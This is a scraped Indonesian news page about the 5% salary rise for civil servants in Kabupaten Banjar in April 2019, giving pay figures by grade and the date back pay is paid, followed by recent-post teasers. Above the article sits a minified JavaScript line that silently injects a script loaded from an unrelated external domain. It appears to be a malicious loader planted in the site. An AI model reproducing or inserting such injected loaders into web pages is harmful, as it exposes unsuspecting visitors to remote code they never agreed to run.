(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Ini Angka Kenaikan Gaji PNS Kabupaten Banjar, Rapelan Dibayar 4 April


MARTAPURA, Awal April 2019 menjadi kabar baik bagi seluruh Pegawai Negeri Sipil (PNS) tanah air, tidak terkecuali di Kabupaten Banjar. Pasalnya PNS resmi merasakan kenaikan gaji 5% seperti yang sudah dicantumkan dalam APBN 2019.

Begitu disampaikan Kepala Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) Kabupaten Banjar, Drs Achmad Zulyadani kepada Kanal Kalimantan, Selasa (2/4).

Diketahui kenaikan gaji mulai berlaku setelah Presiden Joko Widodo (Jokowi) menandatangani Peraturan Pemerintah (PP) Nomor 15 Tahun 2019 tentang Perubahan ke-18 atas Peraturan Pemerintah Nomor 7 Tahun 1977 tentang Peraturan Gaji Pegawai Negeri Sipil.

Hal ini dilakukan dengan pertimbangan dalam rangka meningkatkan daya guna dan hasil guna serta kesejahteraan PNS, pemerintah memandang perlu menaikkan gaji pokok pegawai negeri sipil.

“Pencairan kenaikan gaji ini (Rapelan) berlaku untuk periode Januari-Maret. Pembayaran kenaikan gaji 5% dirapel dari awal tahun dan akan kita bayarkan pada tanggal 4 April ini,” akunya.

Zulyadani menambahkan untuk April dan selanjutnya dibayarkan waktu pembayaran gaji perbulan. Sementara kenaikan gaji tersebut sebesar 5 persen tergantung golongan PNS tersebut.

Disebutkan, gaji terendah PNS (golongan I/a masa kerja 0 tahun) menjadi Rp 1.560.800 (sebelumnya Rp 1.486.500). Sementara gaji tertinggi PNS (golongan IV/e masa kerja lebih 30 tahun) menjadi Rp 5.901.200 (sebelumnya Rp 5.620.300).

Untuk PNS golongan II (II/a masa kerja 0 tahun), kini gaji terendah menjadi Rp 2.022.200 (sebelumnya Rp 1.926.000), tertinggi (II/d masa kerja 33 tahun) menjadi Rp 3.820.000 (sebelumnya Rp 3.638.200.

Golongan III (III/a masa kerja 0 tahun), kini gaji terendah menjadi Rp 2.579.400 (sebelumnya Rp 2.456.700), tertinggi (III/d masa kerja 32 tahun) menjadi Rp 4.797.000 (sebelumnya Rp 4.568.000).

Sedangkan gaji PNS golongan IV terendah (IV/a masa kerja 0 tahun) menjadi Rp 3.044.300 (sebelumnya Rp 2.899.500), dan tertinggi (IV/e masa kerja 32 tahun) menjadi Rp 5.901.200 (sebelumnya Rp 5.620.300). Diketahui Kenaikan gaji 5% juga berlaku untuk TNI dan Polri.

“Jadi yang paling rendah kenaikan 5 persen itu ditempat kita gaji dapatnya sekitar Rp 340 untuk hingga Januari yang akan dibayarkan tanggal 4 nanti,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dibuka Bupati Banjar, Turnamen Sepakbola Bawahan Selan Cup  2025 Bergulir

KANALKALIMANTAN.COM, MARTAPURA - Turnamen Sepakbola Bawahan Selan Cup tahun 2025 secara resmi dibuka Bupati Banjar… Read More

11 jam ago

Ketua DPRD Kotabaru: Kita Kehilangan Sosok Jerry Lumenta yang Bersahaja dan Peduli Masyarakat

KANALKALIMANTAN.COM, KOTABARU - Ketua DPRD Kabupaten Kotabaru, Suwanti mengunjungi rumah duka sekaligus memberikan penghormatan terakhir kepada… Read More

12 jam ago

Dugaan Pelecehan Seksual di Banjarbaru, Nakes Perempuan Lapor ke Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dugaan pelecehan seksual yang dialami seorang tenaga kesehatan (Nakes) perempuan salah satu… Read More

13 jam ago

Kantor Baru di Balai Kota Banjarbaru, Pendopo hingga Rumah Dinas Baru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru kembali memulai percepatan rencana pembangunan tiga proyek strategis… Read More

16 jam ago

Gugatan Pilwali Banjarbaru di MK Berlanjut Keterangan KPU Banjarbaru dan Paslon Lisa-Wartono

KANALKALIMANTAN.COM, BANJARBARU - Tahapan sidang sengketa Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More

18 jam ago

Ketua DWP HSU : Peringatan Isra Mikraj Momen Memperkuat Keimanan

KANALKALIMANTAN.COM, AMUNTAI - Ketua Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) Mislena Marangkir… Read More

18 jam ago

This website uses cookies.